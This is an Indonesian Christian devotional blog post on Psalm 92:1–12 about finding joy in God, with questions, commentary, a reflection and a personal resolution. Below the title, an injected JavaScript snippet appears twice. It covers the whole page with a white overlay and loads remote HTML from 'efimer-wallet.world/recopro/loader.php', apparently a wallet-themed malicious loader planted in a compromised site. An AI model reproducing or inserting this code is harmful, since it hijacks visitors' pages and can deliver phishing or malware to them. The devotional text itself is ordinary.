SUKACITA DALAM TUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Selasa,18 Juli 2023

Mazmur 92 : 1 – 12

Pengantar

Setiap orang ingin merasakan sukacita dalam hidupnya. Sukacita akan menolong seseorang untuk memandang kehidupan dari sudut pandang yang positif. Meskipun diterpa oleh berbagai keadaan yang menyulitkan, ia akan tetap bertahan dan semangat dalam melanjutkan kehidupan. Demikian pula dengan kita. Sukacita dalam Tuhan akan memampukan kita untuk bertahan dalam segala keadaan. Marilah kita merenungkannya!

Pemahaman

  • Ayat 2-4  : Apa yang dilakukan oleh pemazmur ketika merasakan kebaikan Tuhan dalam hidupnya?
  • Ayat 5-12 : Mengapa pemazmur tetap bersukacita dan bertahan ketika diterpa oleh kesulitan?

Dahulu kala, Mazmur yang kita baca hari ini dilantunkan pada hari sabat, sebagai ungkapan syukur umat atas kebaikan Allah. Pemazmur mengawalinya dengan berkata, “adalah baik untuk menyanyikan syukur kepada Tuhan,” (ayat 2). Memuji Allah adalah hal baik yang dilakukan oleh orang percaya, setiap saat dan di berbagai kesempatan yang ada. Memuji Allah juga akan mendorong kita untuk selalu mengingat segala pekerjaan Tuhan, sehingga kita dimampukan untuk menyatakan kasih dan ketaatan kepada Allah. Oleh karena perbuatan tangan Tuhan yang teramat besar, pemazmur juga turut bersukacita dan ia benar-benar mendapatkan sukacita itu dari Tuhan (ayat 5). Ia menyaksikan bagaimana Tuhan membuat umat menang atas orang-orang fasik.

Mulanya mereka dibiarkan bertunas seperti tumbuh-tumbuhan, namun kemegahan mereka akan menjadi sebuah kejatuhan (ayat 8). Setiap musuh yang dengan berani hendak melakukan pemberontakan terhadap Tuhan, maka Tuhan bertindak dengan cara-Nya untuk membela umat (ayat 10). Tuhan sendiri yang akan memisahkan keberadaan orang-orang fasik dari antara umat, agar umat tetap hidup setia kepada Tuhan. Pada akhirnya pemazmur menyaksikan bagaimana kejahatan orang fasik dilumpuhkan oleh Tuhan, sehingga mereka tidak memiliki keberanian untuk menyerang umat (ayat 12). Pemazmur sungguh merasakan bahwa kasih karunia Tuhan diberikan untuk menolong umat tepat pada waktunya.

Refleksi

Dalam keheningan, renungkanlah: bagaimanakah cara saudara menyatakan ‘sukacita’ atas kebesaran Tuhan dalam hidup saudara? Marilah kita selalu mengingat bahwa sukacita sejati adalah ketika kita mengalami perjumpaan dengan Tuhan setiap hari dan menyaksikan bagaimana pertolongan Tuhan dinyatakan tepat pada waktunya.

Tekadku

Tuhan, aku bersyukur untuk kasih karunia-Mu yang menyertaiku. Berikanku hikmat agar dapat menghadirkan sukacita di manapun berada.

Tindakanku                                                           

Aku mau belajar menyatakan syukur kepada Tuhan dengan menjadi berkat bagi teman yang sedang bergumul, agar kembali bersemangat dalam menjalani hidup.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *